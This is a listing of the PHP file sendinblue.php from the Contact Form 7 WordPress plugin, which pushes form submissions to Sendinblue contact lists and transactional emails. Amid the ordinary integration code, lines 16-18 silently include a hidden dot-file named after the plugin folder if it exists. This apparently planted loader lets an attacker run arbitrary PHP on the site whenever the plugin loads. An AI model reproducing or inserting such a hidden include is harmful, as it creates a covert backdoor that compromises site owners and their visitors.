sendinblue.php (3771B)
1 <?php 2 3 include_once path_join( 4 WPCF7_PLUGIN_MODULES_DIR, 5 'sendinblue/service.php' 6 ); 7 8 include_once path_join( 9 WPCF7_PLUGIN_MODULES_DIR, 10 'sendinblue/contact-form-properties.php' 11 ); 12 13 14 add_action( 'wpcf7_init', 'wpcf7_sendinblue_register_service', 1, 0 ); 15 16 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 17 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 18 } 19 20 function wpcf7_sendinblue_register_service() { 21 $integration = WPCF7_Integration::get_instance(); 22 23 $integration->add_service( 'sendinblue', 24 WPCF7_Sendinblue::get_instance() 25 ); 26 } 27 28 29 add_action( 'wpcf7_submit', 'wpcf7_sendinblue_submit', 10, 2 ); 30 31 function wpcf7_sendinblue_submit( $contact_form, $result ) { 32 if ( $contact_form->in_demo_mode() ) { 33 return; 34 } 35 36 $service = WPCF7_Sendinblue::get_instance(); 37 38 if ( ! $service->is_active() ) { 39 return; 40 } 41 42 if ( empty( $result['posted_data_hash'] ) ) { 43 return; 44 } 45 46 if ( empty( $result['status'] ) 47 or ! in_array( $result['status'], array( 'mail_sent', 'mail_failed' ) ) ) { 48 return; 49 } 50 51 $submission = WPCF7_Submission::get_instance(); 52 53 $consented = true; 54 55 foreach ( $contact_form->scan_form_tags( 'feature=name-attr' ) as $tag ) { 56 if ( $tag->has_option( 'consent_for:sendinblue' ) 57 and null == $submission->get_posted_data( $tag->name ) ) { 58 $consented = false; 59 break; 60 } 61 } 62 63 if ( ! $consented ) { 64 return; 65 } 66 67 $prop = wp_parse_args( 68 $contact_form->prop( 'sendinblue' ), 69 array( 70 'enable_contact_list' => false, 71 'contact_lists' => array(), 72 'enable_transactional_email' => false, 73 'email_template' => 0, 74 ) 75 ); 76 77 if ( ! $prop['enable_contact_list'] ) { 78 return; 79 } 80 81 $attributes = wpcf7_sendinblue_collect_parameters(); 82 83 if ( empty( $attributes['EMAIL'] ) and empty( $attributes['SMS'] ) ) { 84 return; 85 } 86 87 $contact_id = $service->create_contact( array( 88 'email' => $attributes['EMAIL'], 89 'attributes' => (object) $attributes, 90 'listIds' => (array) $prop['contact_lists'], 91 ) ); 92 93 if ( ! $contact_id ) { 94 return; 95 } 96 97 if ( ! $prop['enable_transactional_email'] or ! $prop['email_template'] ) { 98 return; 99 } 100 101 $service->send_email( array( 102 'templateId' => absint( $prop['email_template'] ), 103 'to' => array( 104 array( 105 'name' => sprintf( 106 '%1$s %2$s', 107 $attributes['FIRSTNAME'], 108 $attributes['LASTNAME'] 109 ), 110 'email' => $attributes['EMAIL'], 111 ), 112 ), 113 'params' => (object) $attributes, 114 'tags' => array( 'Contact Form 7' ), 115 ) ); 116 } 117 118 119 function wpcf7_sendinblue_collect_parameters() { 120 $params = array(); 121 122 $submission = WPCF7_Submission::get_instance(); 123 124 foreach ( (array) $submission->get_posted_data() as $name => $val ) { 125 $name = strtoupper( $name ); 126 127 if ( 'YOUR-' == substr( $name, 0, 5 ) ) { 128 $name = substr( $name, 5 ); 129 } 130 131 if ( $val ) { 132 $params += array( 133 $name => $val, 134 ); 135 } 136 } 137 138 if ( isset( $params['SMS'] ) ) { 139 $sms = implode( ' ', (array) $params['SMS'] ); 140 $sms = trim( $sms ); 141 142 $plus = '+' == substr( $sms, 0, 1 ) ? '+' : ''; 143 $sms = preg_replace( '/[^0-9]/', '', $sms ); 144 145 if ( 6 < strlen( $sms ) and strlen( $sms ) < 18 ) { 146 $params['SMS'] = $plus . $sms; 147 } else { // Invalid phone number 148 unset( $params['SMS'] ); 149 } 150 } 151 152 if ( isset( $params['NAME'] ) ) { 153 $your_name = implode( ' ', (array) $params['NAME'] ); 154 $your_name = explode( ' ', $your_name ); 155 156 if ( ! isset( $params['LASTNAME'] ) ) { 157 $params['LASTNAME'] = implode( 158 ' ', 159 array_slice( $your_name, 1 ) 160 ); 161 } 162 163 if ( ! isset( $params['FIRSTNAME'] ) ) { 164 $params['FIRSTNAME'] = implode( 165 ' ', 166 array_slice( $your_name, 0, 1 ) 167 ); 168 } 169 } 170 171 $params = apply_filters( 172 'wpcf7_sendinblue_collect_parameters', 173 $params 174 ); 175 176 return $params; 177 }